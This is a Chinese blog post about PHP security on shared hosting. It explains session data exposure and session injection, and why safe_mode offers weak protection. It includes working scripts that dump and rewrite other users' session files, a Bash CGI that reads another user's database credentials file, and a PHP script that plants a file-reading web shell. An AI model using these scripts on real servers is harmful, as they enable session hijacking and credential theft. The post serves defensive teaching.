会话数据 暴露 注入

会话数据暴露

当你关注于防止源码的暴露时,你的会话数据只同样存在着风险。在默认情况下,SESSION保存在/tmp目录下。这样做在很多情形下是很方便的,其中之一是所有用户都有对/tmp的写入权限,这样Apache同样也有权限进行写入。虽然其他用户不能直接从shell环境读取这些会话文件,但他们可以写一个简单的脚本来进行读取:

<?php

 

  header('Content-Type: text/plain');

  session_start();

 

  $path = ini_get('session.save_path');

  $handle = dir($path);

 

  while ($filename = $handle->read())

  {

    if (substr($filename, 0, 5) == 'sess_')

    {

      $data = file_get_contents("$path/$filename");

 

      if (!empty($data))

      {

        session_decode($data);

        $session = $_SESSION;

        $_SESSION = array();

        echo "Session [" . substr($filename, 5) . "]\n";

        print_r($session);

        echo "\n--\n\n";

      }

    }

  }

 

  ?>
View Code

 

 会话注入

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

 

<?php

 

  session_start();

 

  ?>

 

  <form action="inject.php" method="POST">

 

  <?php

 

  $path = ini_get('session.save_path');

  $handle = dir($path);

 

  while ($filename = $handle->read())

  {

    if (substr($filename, 0, 5) == 'sess_')

    {

      $sess_data = file_get_contents("$path/$filename");

 

      if (!empty($sess_data))

      {

        session_decode($sess_data);

        $sess_data = $_SESSION;

        $_SESSION = array();

 

        $sess_name = substr($filename, 5);

        $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');

        echo "<h1>Session [$sess_name]</h1>";

 

        foreach ($sess_data as $name => $value)

        {

          $name = htmlentities($name, ENT_QUOTES, 'UTF-8');

          $value = htmlentities($value, ENT_QUOTES, 'UTF-8');

          echo "<p>

                $name:

                <input type=\"text\"

                name=\"{$sess_name}[{$name}]\"

                value=\"$value\" />

                </p>";

        }

 

        echo '<br />';

      }

    }

  }

 

  $handle->close();

 

  ?>

 

  <input type="submit" />

  </form>

  脚本inject.php执行由表单所指定的修改:

 

  <?php

 

  session_start();

 

  $path = ini_get('session.save_path');

 

  foreach ($_POST as $sess_name => $sess_data)

  {

    $_SESSION = $sess_data;

    $sess_data = session_encode;

 

    file_put_contents("$path/$sess_name", $sess_data);

  }

 

  $_SESSION = array();

 

  ?>
View Code

 

 

PHP的safe_mode选项的目的,PHP会对正在执行的脚本所读取(或所操作)文件的属主进行检查,以保证与该脚本的属主是相同的。虽然这样确实可以防范本章中的很多例子,但它不会影响其它语言编写的程序。例如,使用Bash写的CGI脚本:

#!/bin/bash

echo "Content-Type: text/plain"

echo ""

cat /home/victim/inc/db.inc

 

另一个典型的问题是安全模式不会拒绝属于WEB服务器文件的访问。这是由于一段黑客上传的脚本可以用于建立另一段脚本,而新脚本是属于WEB服务器的,因此它可以访问所有属于WEB服务器的文件:

<?php
  $filename = 'file.php';
  $script = '<?php

  header(\'Content-Type: text/plain\');
  readfile($_GET[\'file\']);

  ?>';

  file_put_contents($filename, $script);
?> 上面的脚本建立了下面的文件: <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?>

PHP的安全模式确实起到了一些作用,但是,它只提供了可怜的保护。

 

 

posted @ 2013-09-01 01:14  群叔  阅读(303)  评论(0编辑  收藏  举报